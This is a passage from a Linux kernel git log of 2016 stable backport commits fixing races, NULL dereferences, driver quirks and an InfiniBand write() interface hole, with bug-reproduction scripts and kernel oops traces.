module_add_driver+0xc3/0xd0 [] bus_add_driver+0x154/0x280 [] driver_register+0x60/0xe0 [] __pci_register_driver+0x60/0x70 [] saa7146_register_extension+0x64/0x90 [saa7146] [] hexium_init_module+0x11/0x1000 [hexium_gemini] ... As can be (mostly) seen, driver_register causes this call sequence: -> bus_add_driver -> module_add_driver -> module_create_drivers_dir The last one creates "drivers" directory in /sys/module/<...>. When this is done in parallel, the directory is attempted to be created twice at the same time. This can be easily reproduced by loading mxb and hexium_gemini in parallel: while :; do modprobe mxb & modprobe hexium_gemini wait rmmod mxb hexium_gemini saa7146_vv saa7146 done saa7146 calls pci_register_driver for both mxb and hexium_gemini, which means /sys/module/saa7146/drivers is to be created for both of them. Fix this by a new mutex in module_create_drivers_dir which makes the test-and-create "drivers" dir atomic. I inverted the condition and removed 'return' to avoid multiple unlocks or a goto. Signed-off-by: Jiri Slaby Fixes: fe480a2675ed (Modules: only add drivers/ direcory if needed) Cc: v2.6.21+ Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit be506260cd50ec7091eea2ebce3265d839fc7e3c Author: Steven Rostedt (Red Hat) Date: Fri Jun 17 16:10:42 2016 -0400 tracing: Handle NULL formats in hold_module_trace_bprintk_format() commit 70c8217acd4383e069fe1898bbad36ea4fcdbdcc upstream. If a task uses a non constant string for the format parameter in trace_printk(), then the trace_printk_fmt variable is set to NULL. This variable is then saved in the __trace_printk_fmt section. The function hold_module_trace_bprintk_format() checks to see if duplicate formats are used by modules, and reuses them if so (saves them to the list if it is new). But this function calls lookup_format() that does a strcmp() to the value (which is now NULL) and can cause a kernel oops. This wasn't an issue till 3debb0a9ddb ("tracing: Fix trace_printk() to print when not using bprintk()") which added "__used" to the trace_printk_fmt variable, and before that, the kernel simply optimized it out (no NULL value was saved). The fix is simply to handle the NULL pointer in lookup_format() and have the caller ignore the value if it was NULL. Link: http://lkml.kernel.org/r/1464769870-18344-1-git-send-email-zhengjun.xing@intel.com Reported-by: xingzhen Acked-by: Namhyung Kim Fixes: 3debb0a9ddb ("tracing: Fix trace_printk() to print when not using bprintk()") Cc: stable@vger.kernel.org # v3.5+ Signed-off-by: Steven Rostedt Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit cc52c53b7d8f35d87241cc34f48af0ddb7307eaa Author: Xiubo Li Date: Wed Jun 15 18:00:33 2016 +0800 kvm: Fix irq route entries exceeding KVM_MAX_IRQ_ROUTES commit caf1ff26e1aa178133df68ac3d40815fed2187d9 upstream. These days, we experienced one guest crash with 8 cores and 3 disks, with qemu error logs as bellow: qemu-system-x86_64: /build/qemu-2.0.0/kvm-all.c:984: kvm_irqchip_commit_routes: Assertion `ret == 0' failed. And then we found one patch(bdf026317d) in qemu tree, which said could fix this bug. Execute the following script will reproduce the BUG quickly: irq_affinity.sh ======================================================================== vda_irq_num=25 vdb_irq_num=27 while [ 1 ] do for irq in {1,2,4,8,10,20,40,80} do echo $irq > /proc/irq/$vda_irq_num/smp_affinity echo $irq > /proc/irq/$vdb_irq_num/smp_affinity dd if=/dev/vda of=/dev/zero bs=4K count=100 iflag=direct dd if=/dev/vdb of=/dev/zero bs=4K count=100 iflag=direct done done ======================================================================== The following qemu log is added in the qemu code and is displayed when this bug reproduced: kvm_irqchip_commit_routes: max gsi: 1008, nr_allocated_irq_routes: 1024, irq_routes->nr: 1024, gsi_count: 1024. That's to say when irq_routes->nr == 1024, there are 1024 routing entries, but in the kernel code when routes->nr >= 1024, will just return -EINVAL; The nr is the number of the routing entries which is in of [1 ~ KVM_MAX_IRQ_ROUTES], not the index in [0 ~ KVM_MAX_IRQ_ROUTES - 1]. This patch fix the BUG above. Cc: stable@vger.kernel.org Signed-off-by: Xiubo Li Signed-off-by: Wei Tang Signed-off-by: Zhang Zhuoyu Signed-off-by: Paolo Bonzini Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 70b066e8577b7670ee4d7d21ca2dafa950de35f6 Author: Bjørn Mork Date: Sun Jul 3 22:24:50 2016 +0200 cdc_ncm: workaround for EM7455 "silent" data interface commit c086e7096170390594c425114d98172bc9aceb8a upstream. Several Lenovo users have reported problems with their Sierra Wireless EM7455 modem. The driver has loaded successfully and the MBIM management channel has appeared to work, including establishing a connection to the mobile network. But no frames have been received over the data interface. The problem affects all EM7455 and MC7455, and is assumed to affect other modems based on the same Qualcomm chipset and baseband firmware. Testing narrowed the problem down to what seems to be a firmware timing bug during initialization. Adding a short sleep while probing is sufficient to make the problem disappear. Experiments have shown that 1-2 ms is too little to have any effect, while 10-20 ms is enough to reliably succeed. Reported-by: Stefan Armbruster Reported-by: Ralph Plawetzki Reported-by: Andreas Fett Reported-by: Rasmus Lerdorf Reported-by: Samo Ratnik Reported-and-tested-by: Aleksander Morgado Signed-off-by: Bjørn Mork Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f85e8f125b2daff44bd323c2f62bda7149cbd294 Author: Kirill A. Shutemov Date: Thu Jun 16 23:26:15 2016 +0200 UBIFS: Implement ->migratepage() commit 4ac1c17b2044a1b4b2fbed74451947e905fc2992 upstream. During page migrations UBIFS might get confused and the following assert triggers: [ 213.480000] UBIFS assert failed in ubifs_set_page_dirty at 1451 (pid 436) [ 213.490000] CPU: 0 PID: 436 Comm: drm-stress-test Not tainted 4.4.4-00176-geaa802524636-dirty #1008 [ 213.490000] Hardware name: Allwinner sun4i/sun5i Families [ 213.490000] [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [ 213.490000] [] (show_stack) from [] (dump_stack+0x8c/0xa0) [ 213.490000] [] (dump_stack) from [] (ubifs_set_page_dirty+0x44/0x50) [ 213.490000] [] (ubifs_set_page_dirty) from [] (try_to_unmap_one+0x10c/0x3a8) [ 213.490000] [] (try_to_unmap_one) from [] (rmap_walk+0xb4/0x290) [ 213.490000] [] (rmap_walk) from [] (try_to_unmap+0x64/0x80) [ 213.490000] [] (try_to_unmap) from [] (migrate_pages+0x328/0x7a0) [ 213.490000] [] (migrate_pages) from [] (alloc_contig_range+0x168/0x2f4) [ 213.490000] [] (alloc_contig_range) from [] (cma_alloc+0x170/0x2c0) [ 213.490000] [] (cma_alloc) from [] (__alloc_from_contiguous+0x38/0xd8) [ 213.490000] [] (__alloc_from_contiguous) from [] (__dma_alloc+0x23c/0x274) [ 213.490000] [] (__dma_alloc) from [] (arm_dma_alloc+0x54/0x5c) [ 213.490000] [] (arm_dma_alloc) from [] (drm_gem_cma_create+0xb8/0xf0) [ 213.490000] [] (drm_gem_cma_create) from [] (drm_gem_cma_create_with_handle+0x1c/0xe8) [ 213.490000] [] (drm_gem_cma_create_with_handle) from [] (drm_gem_cma_dumb_create+0x3c/0x48) [ 213.490000] [] (drm_gem_cma_dumb_create) from [] (drm_ioctl+0x12c/0x444) [ 213.490000] [] (drm_ioctl) from [] (do_vfs_ioctl+0x3f4/0x614) [ 213.490000] [] (do_vfs_ioctl) from [] (SyS_ioctl+0x34/0x5c) [ 213.490000] [] (SyS_ioctl) from [] (ret_fast_syscall+0x0/0x34) UBIFS is using PagePrivate() which can have different meanings across filesystems. Therefore the generic page migration code cannot handle this case correctly. We have to implement our own migration function which basically does a plain copy but also duplicates the page private flag. UBIFS is not a block device filesystem and cannot use buffer_migrate_page(). Signed-off-by: Kirill A. Shutemov [rw: Massaged changelog, build fixes, etc...] Signed-off-by: Richard Weinberger Acked-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 00d14c5bb1cc57172f8b3b953da925f2f16a145c Author: Richard Weinberger Date: Thu Jun 16 23:26:14 2016 +0200 mm: Export migrate_page_move_mapping and migrate_page_copy commit 1118dce773d84f39ebd51a9fe7261f9169cb056e upstream. Export these symbols such that UBIFS can implement ->migratepage. Signed-off-by: Richard Weinberger Acked-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman [wt: also add the prototype to include/linux/migrate.h] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2c44e2cf1f3a9b03ad9cbffb9724b70dead386e2 Author: Trond Myklebust Date: Sat Jun 25 19:19:28 2016 -0400 NFS: Fix another OPEN_DOWNGRADE bug commit e547f2628327fec6afd2e03b46f113f614cca05b upstream. Olga Kornievskaia reports that the following test fails to trigger an OPEN_DOWNGRADE on the wire, and only triggers the final CLOSE. fd0 = open(foo, RDRW) -- should be open on the wire for "both" fd1 = open(foo, RDONLY) -- should be open on the wire for "read" close(fd0) -- should trigger an open_downgrade read(fd1) close(fd1) The issue is that we're missing a check for whether or not the current state transitioned from an O_RDWR state as opposed to having transitioned from a combination of O_RDONLY and O_WRONLY. Reported-by: Olga Kornievskaia Fixes: cd9288ffaea4 ("NFSv4: Fix another bug in the close/open_downgrade code") Cc: stable@vger.kernel.org # 2.6.33+ Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7dd88295bfddf21ec3d4e95de58c87c20fa11b44 Author: Borislav Petkov Date: Thu Jun 16 19:13:49 2016 +0200 x86/amd_nb: Fix boot crash on non-AMD systems commit 1ead852dd88779eda12cb09cc894a03d9abfe1ec upstream. Fix boot crash that triggers if this driver is built into a kernel and run on non-AMD systems. AMD northbridges users call amd_cache_northbridges() and it returns a negative value to signal that we weren't able to cache/detect any northbridges on the system. At least, it should do so as all its callers expect it to do so. But it does return a negative value only when kmalloc() fails. Fix it to return -ENODEV if there are no NBs cached as otherwise, amd_nb users like amd64_edac, for example, which relies on it to know whether it should load or not, gets loaded on systems like Intel Xeons where it shouldn't. Reported-and-tested-by: Tony Battersby Signed-off-by: Borislav Petkov Cc: Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1466097230-5333-2-git-send-email-bp@alien8.de Link: https://lkml.kernel.org/r/5761BEB0.9000807@cybernetics.com Signed-off-by: Ingo Molnar Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 0407047daf788739e5046c2b60b24d0cbc5f4c9b Author: Masami Hiramatsu Date: Sat Jun 11 23:06:53 2016 +0900 kprobes/x86: Clear TF bit in fault on single-stepping commit dcfc47248d3f7d28df6f531e6426b933de94370d upstream. Fix kprobe_fault_handler() to clear the TF (trap flag) bit of the flags register in the case of a fault fixup on single-stepping. If we put a kprobe on the instruction which caused a page fault (e.g. actual mov instructions in copy_user_*), that fault happens on the single-stepping buffer. In this case, kprobes resets running instance so that the CPU can retry execution on the original ip address. However, current code forgets to reset the TF bit. Since this fault happens with TF bit set for enabling single-stepping, when it retries, it causes a debug exception and kprobes can not handle it because it already reset itself. On the most of x86-64 platform, it can be easily reproduced by using kprobe tracer. E.g. # cd /sys/kernel/debug/tracing # echo p copy_user_enhanced_fast_string+5 > kprobe_events # echo 1 > events/kprobes/enable And you'll see a kernel panic on do_debug(), since the debug trap is not handled by kprobes. To fix this problem, we just need to clear the TF bit when resetting running kprobe. Signed-off-by: Masami Hiramatsu Reviewed-by: Ananth N Mavinakayanahalli Acked-by: Steven Rostedt Cc: Alexander Shishkin Cc: Andy Lutomirski Cc: Arnaldo Carvalho de Melo Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: systemtap@sourceware.org Cc: stable@vger.kernel.org # All the way back to ancient kernels Link: http://lkml.kernel.org/r/20160611140648.25885.37482.stgit@devbox [ Updated the comments. ] Signed-off-by: Ingo Molnar Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 509e1036d1675e9018b5825b7f91bfa980bcb76c Author: H. Peter Anvin Date: Tue Apr 5 17:01:33 2016 -0700 x86, build: copy ldlinux.c32 to image.iso commit 9c77679cadb118c0aa99e6f88533d91765a131ba upstream. For newer versions of Syslinux, we need ldlinux.c32 in addition to isolinux.bin to reside on the boot disk, so if the latter is found, copy it, too, to the isoimage tree. Signed-off-by: H. Peter Anvin Cc: Linux Stable Tree Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a9421e7a709215257a2aaf6149cf62e2491b3736 Author: Yishai Hadas Date: Wed Jun 22 17:27:28 2016 +0300 IB/mlx4: Fix the SQ size of an RC QP commit f2940e2c76bb554a7fbdd28ca5b90904117a9e96 upstream. When calculating the required size of an RC QP send queue, leave enough space for masked atomic operations, which require more space than "regular" atomic operation. Fixes: 6fa8f719844b ("IB/mlx4: Add support for masked atomic operations") Signed-off-by: Yishai Hadas Reviewed-by: Jack Morgenstein Reviewed-by: Eran Ben Elisha Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b4fc37b3cb00a7aabb794d909eca9e586b4454b5 Author: Erez Shitrit Date: Sat Jun 4 15:15:19 2016 +0300 IB/IPoIB: Don't update neigh validity for unresolved entries commit 61c78eea9516a921799c17b4c20558e2aa780fd3 upstream. ipoib_neigh_get unconditionally updates the "alive" variable member on any packet send. This prevents the neighbor garbage collection from cleaning out a dead neighbor entry if we are still queueing packets for it. If the queue for this neighbor is full, then don't update the alive timestamp. That way the neighbor can time out even if packets are still being queued as long as none of them are being sent. Fixes: b63b70d87741 ("IPoIB: Use a private hash table for path lookup in xmit path") Signed-off-by: Erez Shitrit Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7162960b2c1fea48885ced048d7c676e07263916 Author: Jason Gunthorpe Date: Sun Apr 10 19:13:13 2016 -0600 IB/security: Restrict use of the write() interface commit e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3 upstream. The drivers/infiniband stack uses write() as a replacement for bi-directional ioctl(). This is not safe. There are ways to trigger write calls that result in the return structure that is normally written to user space being shunted off to user specified kernel memory instead. For the immediate repair, detect and deny suspicious accesses to the write API. For long term, update the user space libraries and the kernel API to something that doesn't present the same security vulnerabilities (likely a structured ioctl() interface). The impacted uAPI interfaces are generally only available if hardware from drivers/infiniband is installed in the system. Reported-by: Jann Horn Signed-off-by: Linus Torvalds Signed-off-by: Jason Gunthorpe [ Expanded check to all known write() entry points ] Cc: stable@vger.kernel.org Signed-off-by: Doug Ledford [wt: no hfi1 subdir in 3.10. A minimal rdma/ib.h had to be created from 3.11 sources to keep the code similar to mainline] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3b4e24c75c2631228a6a685decbbfbcb9602d1ca Author: Jason Gunthorpe Date: Wed Jun 8 17:28:29 2016 -0600 IB/mlx4: Properly initialize GRH TClass and FlowLabel in AHs commit 8c5122e45a10a9262f872b53f151a592e870f905 upstream. When this code was reworked for IBoE support the order of assignments for the sl_tclass_flowlabel got flipped around resulting in TClass & FlowLabel being permanently set to 0 in the packet headers. This breaks IB routers that rely on these headers, but only affects kernel users - libmlx4 does this properly for user space. Cc: stable@vger.kernel.org Fixes: fa417f7b520e ("IB/mlx4: Add support for IBoE") Signed-off-by: Jason Gunthorpe Signed-off-by: Doug Ledford Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b589d753bdcbf24a75b306ad657f3ec1b7476097 Author: Martin Willi Date: Fri May 13 12:41:48 2016 +0200 mac80211_hwsim: Add missing check for HWSIM_ATTR_SIGNAL commit 62397da50bb20a6b812c949ef465d7e69fe54bb6 upstream. A wmediumd that does not send this attribute causes a NULL pointer dereference, as the attribute is accessed even if it does not exist. The attribute was required but never checked ever since userspace frame forwarding has been introduced. The issue gets more problematic once we allow wmediumd registration from user namespaces. Fixes: 7882513bacb1 ("mac80211_hwsim driver support userspace frame tx/rx") Signed-off-by: Martin Willi Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b97230f42c27fc59e80c72c23f57e4a3bb6c8631 Author: Bob Copeland Date: Sun May 15 13:19:16 2016 -0400 mac80211: mesh: flush mesh paths unconditionally commit fe7a7c57629e8dcbc0e297363a9b2366d67a6dc5 upstream. Currently, the mesh paths associated with a nexthop station are cleaned up in the following code path: __sta_info_destroy_part1 synchronize_net() __sta_info_destroy_part2 -> cleanup_single_sta -> mesh_sta_cleanup -> mesh_plink_deactivate -> mesh_path_flush_by_nexthop However, there are a couple of problems here: 1) the paths aren't flushed at all if the MPM is running in userspace (e.g. when using wpa_supplicant or authsae) 2) there is no synchronize_rcu between removing the path and readers accessing the nexthop, which means the following race is possible: CPU0 CPU1 ~~~~ ~~~~ sta_info_destroy_part1() synchronize_net() rcu_read_lock() mesh_nexthop_resolve() mpath = mesh_path_lookup() [...] -> mesh_path_flush_by_nexthop() sta = rcu_dereference( mpath->next_hop) kfree(sta) access sta <-- CRASH Fix both of these by unconditionally flushing paths before destroying the sta, and by adding a synchronize_net() after path flush to ensure no active readers can still dereference the sta. Fixes this crash: [ 348.529295] BUG: unable to handle kernel paging request at 00020040 [ 348.530014] IP: [] ieee80211_mps_set_frame_flags+0x40/0xaa [mac80211] [ 348.530014] *pde = 00000000 [ 348.530014] Oops: 0000 [#1] PREEMPT [ 348.530014] Modules linked in: drbg ansi_cprng ctr ccm ppp_generic slhc ipt_MASQUERADE nf_nat_masquerade_ipv4 8021q ] [ 348.530014] CPU: 0 PID: 20597 Comm: wget Tainted: G O 4.6.0-rc5-wt=V1 #1 [ 348.530014] Hardware name: To Be Filled By O.E.M./To be filled by O.E.M., BIOS 080016 11/07/2014 [ 348.530014] task: f64fa280 ti: f4f9c000 task.ti: f4f9c000 [ 348.530014] EIP: 0060:[] EFLAGS: 00010246 CPU: 0 [ 348.530014] EIP is at ieee80211_mps_set_frame_flags+0x40/0xaa [mac80211] [ 348.530014] EAX: f4ce63e0 EBX: 00000088 ECX: f3788416 EDX: 00020008 [ 348.530014] ESI: 00000000 EDI: 00000088 EBP: f6409a4c ESP: f6409a40 [ 348.530014] DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 0068 [ 348.530014] CR0: 80050033 CR2: 00020040 CR3: 33190000 CR4: 00000690 [ 348.530014] Stack: [ 348.530014] 00000000 f4ce63e0 f5f9bd80 f6409a64 f9291d80 0000ce67 f5d51e00 f4ce63e0 [ 348.530014] f3788416 f6409a80 f9291dc1 f4ce8320 f4ce63e0 f5d51e00 f4ce63e0 f4ce8320 [ 348.530014] f6409a98 f9277f6f 00000000 00000000 0000007c 00000000 f6409b2c f9278dd1 [ 348.530014] Call Trace: [ 348.530014] [] mesh_nexthop_lookup+0xbb/0xc8 [mac80211] [ 348.530014] [] mesh_nexthop_resolve+0x34/0xd8 [mac80211] [ 348.530014] [] ieee80211_xmit+0x92/0xc1 [mac80211] [ 348.530014] [] __ieee80211_subif_start_xmit+0x807/0x83c [mac80211] [ 348.530014] [] ? sch_direct_xmit+0xd7/0x1b3 [ 348.530014] [] ? __local_bh_enable_ip+0x5d/0x7b [ 348.530014] [] ? nf_nat_ipv4_out+0x4c/0xd0 [nf_nat_ipv4] [ 348.530014] [] ? iptable_nat_ipv4_fn+0xf/0xf [iptable_nat] [ 348.530014] [] ? netif_skb_features+0x14d/0x30a [ 348.530014] [] ieee80211_subif_start_xmit+0xa/0xe [mac80211] [ 348.530014] [] dev_hard_start_xmit+0x1f8/0x267 [ 348.530014] [] ? validate_xmit_skb.isra.120.part.121+0x10/0x253 [ 348.530014] [] sch_direct_xmit+0x8b/0x1b3 [ 348.530014] [] __dev_queue_xmit+0x2c8/0x513 [ 348.530014] [] dev_queue_xmit+0xa/0xc [ 348.530014] [] batadv_send_skb_packet+0xd6/0xec [batman_adv] [ 348.530014] [] batadv_send_unicast_skb+0x15/0x4a [batman_adv] [ 348.530014] [] batadv_dat_send_data+0x27e/0x310 [batman_adv] [ 348.530014] [] ? batadv_tt_global_hash_find.isra.11+0x8/0xa [batman_adv] [ 348.530014] [] batadv_dat_snoop_outgoing_arp_request+0x208/0x23d [batman_adv] [ 348.530014] [] batadv_interface_tx+0x206/0x385 [batman_adv] [ 348.530014] [] dev_hard_start_xmit+0x1f8/0x267 [ 348.530014] [] ? validate_xmit_skb.isra.120.part.121+0x10/0x253 [ 348.530014] [] sch_direct_xmit+0x8b/0x1b3 [ 348.530014] [] __dev_queue_xmit+0x2c8/0x513 [ 348.530014] [] ? igb_xmit_frame+0x57/0x72 [igb] [ 348.530014] [] dev_queue_xmit+0xa/0xc [ 348.530014] [] br_dev_queue_push_xmit+0xeb/0xfb [bridge] [ 348.530014] [] br_forward_finish+0x29/0x74 [bridge] [ 348.530014] [] ? deliver_clone+0x3b/0x3b [bridge] [ 348.530014] [] __br_forward+0x89/0xe7 [bridge] [ 348.530014] [] ? br_dev_queue_push_xmit+0xfb/0xfb [bridge] [ 348.530014] [] deliver_clone+0x34/0x3b [bridge] [ 348.530014] [] ? br_flood+0x95/0x95 [bridge] [ 348.530014] [] br_flood+0x77/0x95 [bridge] [ 348.530014] [] br_flood_forward+0x13/0x1a [bridge] [ 348.530014] [] ? br_flood+0x95/0x95 [bridge] [ 348.530014] [] br_handle_frame_finish+0x392/0x3db [bridge] [ 348.530014] [] ? nf_iterate+0x2b/0x6b [ 348.530014] [] br_handle_frame+0x1e6/0x240 [bridge] [ 348.530014] [] ? br_handle_local_finish+0x6a/0x6a [bridge] [ 348.530014] [] __netif_receive_skb_core+0x43a/0x66b [ 348.530014] [] ? br_handle_frame_finish+0x3db/0x3db [bridge] [ 348.530014] [] ? resched_curr+0x19/0x37 [ 348.530014] [] ? check_preempt_wakeup+0xbf/0xfe [ 348.530014] [] ? ktime_get_with_offset+0x5c/0xfc [ 348.530014] [] __netif_receive_skb+0x47/0x55 [ 348.530014] [] netif_receive_skb_internal+0x40/0x5a [ 348.530014] [] napi_gro_receive+0x3a/0x94 [ 348.530014] [] igb_poll+0x6fd/0x9ad [igb] [ 348.530014] [] ? swake_up_locked+0x14/0x26 [ 348.530014] [] net_rx_action+0xde/0x250 [ 348.530014] [] __do_softirq+0x8a/0x163 [ 348.530014] [] ? __hrtimer_tasklet_trampoline+0x19/0x19 [ 348.530014] [] do_softirq_own_stack+0x26/0x2c [ 348.530014] [ 348.530014] [] irq_exit+0x31/0x6f [ 348.530014] [] do_IRQ+0x8d/0xa0 [ 348.530014] [] common_interrupt+0x2c/0x40 [ 348.530014] Code: e7 8c 00 66 81 ff 88 00 75 12 85 d2 75 0e b2 c3 b8 83 e9 29 f9 e8 a7 5f f9 c6 eb 74 66 81 e3 8c 005 [ 348.530014] EIP: [] ieee80211_mps_set_frame_flags+0x40/0xaa [mac80211] SS:ESP 0068:f6409a40 [ 348.530014] CR2: 0000000000020040 [ 348.530014] ---[ end trace 48556ac26779732e ]--- [ 348.530014] Kernel panic - not syncing: Fatal exception in interrupt [ 348.530014] Kernel Offset: disabled Reported-by: Fred Veldini Tested-by: Fred Veldini Signed-off-by: Bob Copeland Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c7d5e9616db7c030951fe6b91b73bee543825dd3 Author: Feng Tang Date: Fri Jun 24 15:26:05 2016 +0800 net: alx: Work around the DMA RX overflow issue commit 881d0327db37ad917a367c77aff1afa1ee41e0a9 upstream. Note: This is a verified backported patch for stable 4.4 kernel, and it could also be applied to 4.3/4.2/4.1/3.18/3.16 There is a problem with alx devices, that the network link will be lost in 1-5 minutes after the device is up. >From debugging without datasheet, we found the error always happen when the DMA RX address is set to 0x....fc0, which is very likely to be a HW/silicon problem. This patch will apply rx skb with 64 bytes longer space, and if the allocated skb has a 0x...fc0 address, it will use skb_resever(skb, 64) to advance the address, so that the RX overflow can be avoided. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=70761 Signed-off-by: Feng Tang Suggested-by: Eric Dumazet Tested-by: Ole Lukoie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 80a40a1f188c1d9f046441726237a9dfc3f7b7bd Author: Tom Goff Date: Thu Jun 23 16:11:57 2016 -0400 ipmr/ip6mr: Initialize the last assert time of mfc entries. commit 70a0dec45174c976c64b4c8c1d0898581f759948 upstream. This fixes wrong-interface signaling on 32-bit platforms for entries created when jiffies > 2^31 + MFC_ASSERT_THRESH. Signed-off-by: Tom Goff Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6621624f950cbed950e0ce42222903f2d9f70a06 Author: Simon Horman Date: Thu Jun 16 17:06:19 2016 +0900 sit: correct IP protocol used in ipip6_err commit d5d8760b78d0cfafe292f965f599988138b06a70 upstream. Since 32b8a8e59c9c ("sit: add IPv4 over IPv4 support") ipip6_err() may be called for packets whose IP protocol is IPPROTO_IPIP as well as those whose IP protocol is IPPROTO_IPV6. In the case of IPPROTO_IPIP packets the correct protocol value is not passed to ipv4_update_pmtu() or ipv4_redirect(). This patch resolves this problem by using the IP protocol of the packet rather than a hard-coded value. This appears to be consistent with the usage of the protocol of a packet by icmp_socket_deliver() the caller of ipip6_err(). I was able to exercise the redirect case by using a setup where an ICMP redirect was received for the destination of the encapsulated packet. However, it appears that although incorrect the protocol field is not used in this case and thus no problem manifests. On inspection it does not appear that a problem will manifest in the fragmentation needed/update pmtu case either. In short I believe this is a cosmetic fix. None the less, the use of IPPROTO_IPV6 seems wrong and confusing. Reviewed-by: Dinan Gunawardena Signed-off-by: Simon Horman Acked-by: YOSHIFUJI Hideaki Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 5abaddc29e2883d3866c3691241eb1de5d10c26c Author: Herbert Xu Date: Tue Jul 12 13:17:57 2016 +0800 crypto: scatterwalk - Fix test in scatterwalk_done commit 5f070e81bee35f1b7bd1477bb223a873ff657803 upstream. When there is more data to be processed, the current test in scatterwalk_done may prevent us from calling pagedone even when we should. In particular, if we're on an SG entry spanning multiple pages where the last page is not a full page, we will incorrectly skip calling pagedone on the second last page. This patch fixes this by adding a separate test for whether we've reached the end of a page. Cc: stable@vger.kernel.org Signed-off-by: Herbert Xu Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 0a9699c4f2eee643ab8f9bd8825837e42a819fc7 Author: Herbert Xu Date: Wed Jun 15 22:27:05 2016 +0800 crypto: gcm - Filter out async ghash if necessary commit b30bdfa86431afbafe15284a3ad5ac19b49b88e3 upstream. As it is if you ask for a sync gcm you may actually end up with an async one because it does not filter out async implementations of ghash. This patch fixes this by adding the necessary filter when looking for ghash. Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 54091cfee4eed96ae7c131ffbcf5ef49be91ff82 Author: Linus Walleij Date: Wed Jun 8 14:56:39 2016 +0200 crypto: ux500 - memmove the right size commit 19ced623db2fe91604d69f7d86b03144c5107739 upstream. The hash buffer is really HASH_BLOCK_SIZE bytes, someone must have thought that memmove takes n*u32 words by mistake. Tests work as good/bad as before after this patch. Cc: Joakim Bech Cc: stable@vger.kernel.org Reported-by: David Binderman Signed-off-by: Linus Walleij Signed-off-by: Herbert Xu Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d9ad0142eadd94cae79be17ee57b588183f0b5f3 Author: Al Viro Date: Tue Jun 7 21:26:55 2016 -0400 fix d_walk()/non-delayed __d_free() race commit 3d56c25e3bb0726a5c5e16fc2d9e38f8ed763085 upstream. Ascend-to-parent logics in d_walk() depends on all encountered child dentries not getting freed without an RCU delay. Unfortunately, in quite a few cases it is not true, with hard-to-hit oopsable race as the result. Fortunately, the fix is simiple; right now the rule is "if it ever been hashed, freeing must be delayed" and changing it to "if it ever had a parent, freeing must be delayed" closes that hole and covers all cases the old rule used to cover. Moreover, pipes and sockets remain _not_ covered, so we do not introduce RCU delay in the cases which are the reason for having that delay conditional in the first place. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman [wt: add the required change to __d_materialise_dentry() for kernels older than v3.17] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 577120bef143028c752c47af1ac815c30a9e28b7 Author: Helge Deller Date: Sat Jun 4 17:21:33 2016 +0200 parisc: Fix pagefault crash in unaligned __get_user() call commit 8b78f260887df532da529f225c49195d18fef36b upstream. One of the debian buildd servers had this crash in the syslog without any other information: Unaligned handler failed, ret = -2 clock_adjtime (pid 22578): Unaligned data reference (code 28) CPU: 1 PID: 22578 Comm: clock_adjtime Tainted: G E 4.5.0-2-parisc64-smp #1 Debian 4.5.4-1 task: 000000007d9960f8 ti: 00000001bde7c000 task.ti: 00000001bde7c000 YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI PSW: 00001000000001001111100000001111 Tainted: G E r00-03 000000ff0804f80f 00000001bde7c2b0 00000000402d2be8 00000001bde7c2b0 r04-07 00000000409e1fd0 00000000fa6f7fff 00000001bde7c148 00000000fa6f7fff r08-11 0000000000000000 00000000ffffffff 00000000fac9bb7b 000000000002b4d4 r12-15 000000000015241c 000000000015242c 000000000000002d 00000000fac9bb7b r16-19 0000000000028800 0000000000000001 0000000000000070 00000001bde7c218 r20-23 0000000000000000 00000001bde7c210 0000000000000002 0000000000000000 r24-27 0000000000000000 0000000000000000 00000001bde7c148 00000000409e1fd0 r28-31 0000000000000001 00000001bde7c320 00000001bde7c350 00000001bde7c218 sr00-03 0000000001200000 0000000001200000 0000000000000000 0000000001200000 sr04-07 0000000000000000 0000000000000000 0000000000000000 0000000000000000 IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402d2e84 